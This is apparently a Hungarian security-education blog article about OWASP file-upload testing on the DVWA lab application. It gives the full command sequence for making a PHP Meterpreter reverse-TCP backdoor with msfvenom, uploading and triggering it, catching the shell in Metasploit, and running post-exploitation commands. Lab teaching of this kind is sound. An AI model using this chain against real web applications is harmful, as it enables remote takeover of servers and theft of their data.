loader
Foto

File feltöltés problémája (OWASP)

Az OWASP módszertan egyik fontos vizsgálati pontja az, ahol a filefeltöltést kell ellenőrizni. Nem az a gond, hogy ha egy file-t fel lehet tölteni egy webes akalmazásra, hanem az, ha ezt a file-t nem vetjük kliens (és szerver!) oldali validálás alá. Tehát nagyon fontos az, hogy a feltölteni kívánt file-okat ellenőrizzük (ne csak a file kiterjesztését). Ebben a cikkben megnézzük azt, hogy milyen veszélyes az, ha bármilyen file feltölthető a vizsgált webes alkalmazásra.

Felhívjuk az Olvasók figyelmét arra, hogy ez a cikk azért született meg, hogy a saját fejlesztésű webes alkalmazások biztonságosabbak legyenek. Nem célunk, és határozottan elzárkózunk attól, hogy segítsünk bárkinek számítógépes bűncselekmények elkövetésében.

Nagyon sok honlapot a fejlesztőik az elvárások miatt felkészítettek arra, hogy különböző file-okat fel tudjanak tölteni a felhasználók. De tényleg fel vannak ezek a webes alkalmazások készítve arra, hogy csak az elvárt file-ok (pl.: képek, pdf, stb) lehessen feltölteni? A mostani cikkünkben bemutatjuk azt, hogy mi történhet akkor, ha nem megfelelő a kliens- és a szerveroldali validáció, és egy backdoor kerül feltöltésre.

Készítsük el először a backdoor-t. Az OWASP vizsgálatok első pontjai közé tartoznak azok, ahol a vizsgált webes alkalmazások tulajdonságai felderítése a cél. Egyik ilyen a webes alkalmazás megvalósításának a nyelve, a futtató keretkörnyezet, stb. A DVWA tesztalkalmazás PHP nyelven íródott, ezért a backdoort a következő utasítással készítjük el az msfvenom segítségével.

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=12345 -o venom1.php

 

Ezzel az utasítással el is készült a backdoor file. Ezt ellenőrizhetjük a könyvtár tartalmának a megnézésével.

ls -l

 

Látható az első ábrán, hogy a backdoor-unk elkészült.

kep
1. ábra   A backdoor elkészítése
 

A következő feladatunk az, hogy ezt a backdoor-t feltöltsük a vizsgált webes alkalmazásra. Töltsük fel akkor most a venom1.php file-t, és a vizsgált alkalmazás kiírja a feltöltés helyét (2. ábra).

kep
2. ábra   A backdoor fetöltése
 

Miután elindult a Metasploit, adjuk meg a használni kívánt exploitot, illetve payloadot.

use exploit/multi/handler

 

Az exploit megadása után adjuk meg az alkalmazni kívánt payload-ot is, amelye egy reverse tcp. 

set PAYLOAD php/meterpreter/reverse_tcp

 

Ezeket a folyamatokat láthatjuk a 3. ábrán, amelyek segítségével felkészítettük a Metasploitot arra, hogy kezelje a feltöltött backdoort.

kep
3. ábra   A Metasploitban beállítjuk az exploitot, illetve a reverse shellt
 

Noha a használni kívánt file-ok kiválasztásra kerültek, a payloadnak még be kell állítani néhány tulajdonságát. A következő utasítás segítségével meg tudjuk nézni azokat a beállításokat (ill. ezek értékeit), amelyeket a payload használni fog. Adjuk tehát ki a következő utasítást.

show options

 

Ennek segítségével látható, hogy az LHOST nincs beállítva, továbbá az LPORT is a default értéken van az 12345 helyett (4. ábra).

kep
4. ábra   Default értékek a shellben
 

Ezek nem megfelelőek, a saját IP címünket kell megadni, továbbá a helyes portszámot. Ezeket a következő utasításokkal lehet megtenni.

set LPORT 12345

 

set LHOST 192.168.56.103

 

Ezután már újra megnézhetjük a shell tulajdonságait (5. ábra).

kep
5. ábra   Beállítjuk a shellt a backdoor adatainak megfelelően
 

Most már "csak" össze kell kapcsolnunk a Metasploitot a webes alkalmazásunkba feltöltött backdoor-ral. Ehhez tudnunk kell a feltöltött backdoor elérési helyét.

192.168.56.102/DVWA-master/hackable/uploads/venom1.php

 

Ezt az elérési útvonalat alkalmazzuk a backdoor futtatásánál, üssünk egy entert a címmezőben (6. ábra).

kep
6. ábra   Futtatjuk a feltöltött php file-t
 

Most a Metasploitnál írjuk be a következő utasítást.

run

 

Ekkor elindul a Meterpreter, amellyel már a kiépített távoli kapcsolaton keresztül különböző utasítások futtathatók. Írjuk be a következő utasítást, amelynek segítségével megkapjuk a vizsgált webes alkalmazás tárhelyének néhány tulajdonságát.

sysinfo

 

A fenti utasítás hatására megjelenítjük a tárhely nevét, az operációs rendszerét (7. ábra).

kep
7. ábra   Elindítjuk a meterpretert, majd különböző utasításokat adunk ki 
 

Nézzük meg most annak a könyvtárnak a tartalmát, ahol a feltöltött backdoorunk is megtalálható. Ehhez a jól ismert linux parancs kiadása szükséges.

ls

 

Most nézzük meg a következő utasítás segítségével, hogy milyen felhasználó nevében vagyunk bent.

getuid

 

A fenti utasítások futási eredménye látható a 8. ábrán.

kep
8. ábra   Meterpreterben adunk ki különböző utasításokat (sysinfo, ls, getuid)
 

A lehetőségünk tárháza elég széles, még egy példát mutatunk be. Le tudjuk kérni a webes alkalmazást hosztoló operációs rendszeren a futó processzek listáját.

ps

 

A megjelenített processzek listájának részlete látható a 9. ábrán.

kep
9. ábra   Meterpreterben adunk ki különböző utasításokat (ps)
 

Még egyszer felhívjuk az Olvasók figyelmét arra, hogy ez a cikk azért született meg, hogy rámutassunk a filefeltöltés sérülékenység veszélyére, és az ellene való védekezés fontosságára. Határozottan elhatárolódunk bármilyen bűncselekmény elkövetésének a segítésében.

Az információs rendszer vagy adat megsértése bűncselekmény (423. §).

 



Egyéb cikkek

További cikkeink ebben a témakörben

Régebbi cikkeink

Az nmap (grafikus megjelenítésnél a ZenMap) használata az IT biztonság, illetve az üzemeltetés területén dolgozó szakembereknél szinte elkerülhetetlen. Az ingyenes szoftver segítségével tesztelhetők a számítógépeink, a számítógéphálózatunk, vizsgálha. . . .

A Python programozási nyelv nagyon elterjedt a fejlesztők körében. Használják beágyazott rendszereknél, webes alkalmazásoknál, IT biztonság különböző területein, stb. Látható, hogy nagyon széles a felhasználási területe ennek a nyelvnek, ideje volt m. . . .

Bemutatjuk most a saját (!) Wifi-s hálózatunk tesztelésének az alapjait. Megnézzük, hogy hogyan lehet biztonságos jelszót választani. Feltörhetetlen rendszer nem létezik, de megismerve a tesztelés folyamatát, válaszokat kaphatunk arra vonatkozólag, h. . . .